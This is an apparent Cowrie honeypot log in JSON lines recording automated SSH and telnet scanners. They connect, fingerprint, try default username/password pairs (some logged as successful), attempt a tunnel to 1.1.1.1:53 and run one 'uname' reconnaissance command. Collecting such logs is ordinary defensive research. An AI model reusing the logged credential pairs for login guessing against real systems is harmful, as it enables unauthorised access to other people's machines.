{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:16.649915Z","src_ip":"87.251.64.176","session":"e6b582ccaa86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:16.678312Z","src_ip":"91.92.42.227","session":"a79908933c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60280,"dst_ip":"10.17.0.5","dst_port":22,"session":"567170e0c41e","protocol":"ssh","message":"New connection: 91.92.42.227:60280 (10.17.0.5:22) [session: 567170e0c41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:16.865867Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:16.931815Z","src_ip":"87.251.64.176","session":"e6b582ccaa86","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:17.031615Z","session":"e6b582ccaa86","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:17.182493Z","src_ip":"87.251.64.176","session":"e6b582ccaa86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:17.413166Z","src_ip":"87.251.64.176","session":"e6b582ccaa86","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:17.845096Z","src_ip":"91.92.42.227","session":"567170e0c41e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:17.857123Z","src_ip":"91.92.42.227","session":"567170e0c41e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123456789","message":"login attempt [test1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:23.369015Z","src_ip":"91.92.42.227","session":"567170e0c41e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60308,"dst_ip":"10.17.0.5","dst_port":22,"session":"a981a3ce9e59","protocol":"ssh","message":"New connection: 91.92.42.227:60308 (10.17.0.5:22) [session: a981a3ce9e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:23.504230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:24.875193Z","src_ip":"91.92.42.227","session":"a981a3ce9e59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:24.878458Z","src_ip":"91.92.42.227","session":"a981a3ce9e59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:25.806986Z","src_ip":"91.92.42.227","session":"567170e0c41e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54738,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0ee71c5ae36","protocol":"telnet","message":"New connection: 128.199.8.54:54738 (159.203.135.109:23) [session: f0ee71c5ae36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:30.022127Z"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:31.170475Z","src_ip":"91.92.42.227","session":"a981a3ce9e59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44480,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5c3d4b0e207","protocol":"ssh","message":"New connection: 91.92.42.227:44480 (10.17.0.5:22) [session: b5c3d4b0e207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:31.285615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:32.459367Z","src_ip":"91.92.42.227","session":"b5c3d4b0e207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:32.462488Z","src_ip":"91.92.42.227","session":"b5c3d4b0e207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:33.406907Z","src_ip":"91.92.42.227","session":"a981a3ce9e59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43462,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7e494530db5","protocol":"ssh","message":"New connection: 80.94.92.184:43462 (159.203.135.109:22) [session: b7e494530db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:34.394598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:34.673644Z","src_ip":"80.94.92.184","session":"b7e494530db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:34.816924Z","src_ip":"80.94.92.184","session":"b7e494530db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345","message":"login attempt [solv/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:36.371628Z","src_ip":"80.94.92.184","session":"b7e494530db5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57990,"dst_ip":"10.17.0.5","dst_port":22,"session":"c08edd7db331","protocol":"ssh","message":"New connection: 91.92.42.227:57990 (10.17.0.5:22) [session: c08edd7db331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:37.490266Z"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:38.696676Z","src_ip":"91.92.42.227","session":"b5c3d4b0e207","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:39.519905Z","src_ip":"91.92.42.227","session":"c08edd7db331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:39.532514Z","src_ip":"91.92.42.227","session":"c08edd7db331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:40.393344Z","src_ip":"80.94.92.184","session":"b7e494530db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:41.289189Z","src_ip":"91.92.42.227","session":"b5c3d4b0e207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41870,"dst_ip":"10.17.0.5","dst_port":22,"session":"39058504d299","protocol":"ssh","message":"New connection: 91.92.42.227:41870 (10.17.0.5:22) [session: 39058504d299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:44.794304Z"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:45.536793Z","src_ip":"91.92.42.227","session":"c08edd7db331","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:46.765053Z","src_ip":"91.92.42.227","session":"39058504d299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:46.768217Z","src_ip":"91.92.42.227","session":"39058504d299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:48.724276Z","src_ip":"91.92.42.227","session":"c08edd7db331","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Aa123456","message":"login attempt [oracle/Aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:52.712086Z","src_ip":"91.92.42.227","session":"39058504d299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41918,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d1db18592c7","protocol":"ssh","message":"New connection: 91.92.42.227:41918 (10.17.0.5:22) [session: 8d1db18592c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:53.599851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:54.427955Z","src_ip":"91.92.42.227","session":"8d1db18592c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:54.430830Z","src_ip":"91.92.42.227","session":"8d1db18592c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:54.661290Z","src_ip":"91.92.42.227","session":"39058504d299","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:54.665282Z","src_ip":"91.92.42.227","session":"39058504d299","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:55.502092Z","src_ip":"91.92.42.227","session":"39058504d299","protocol":"ssh"}
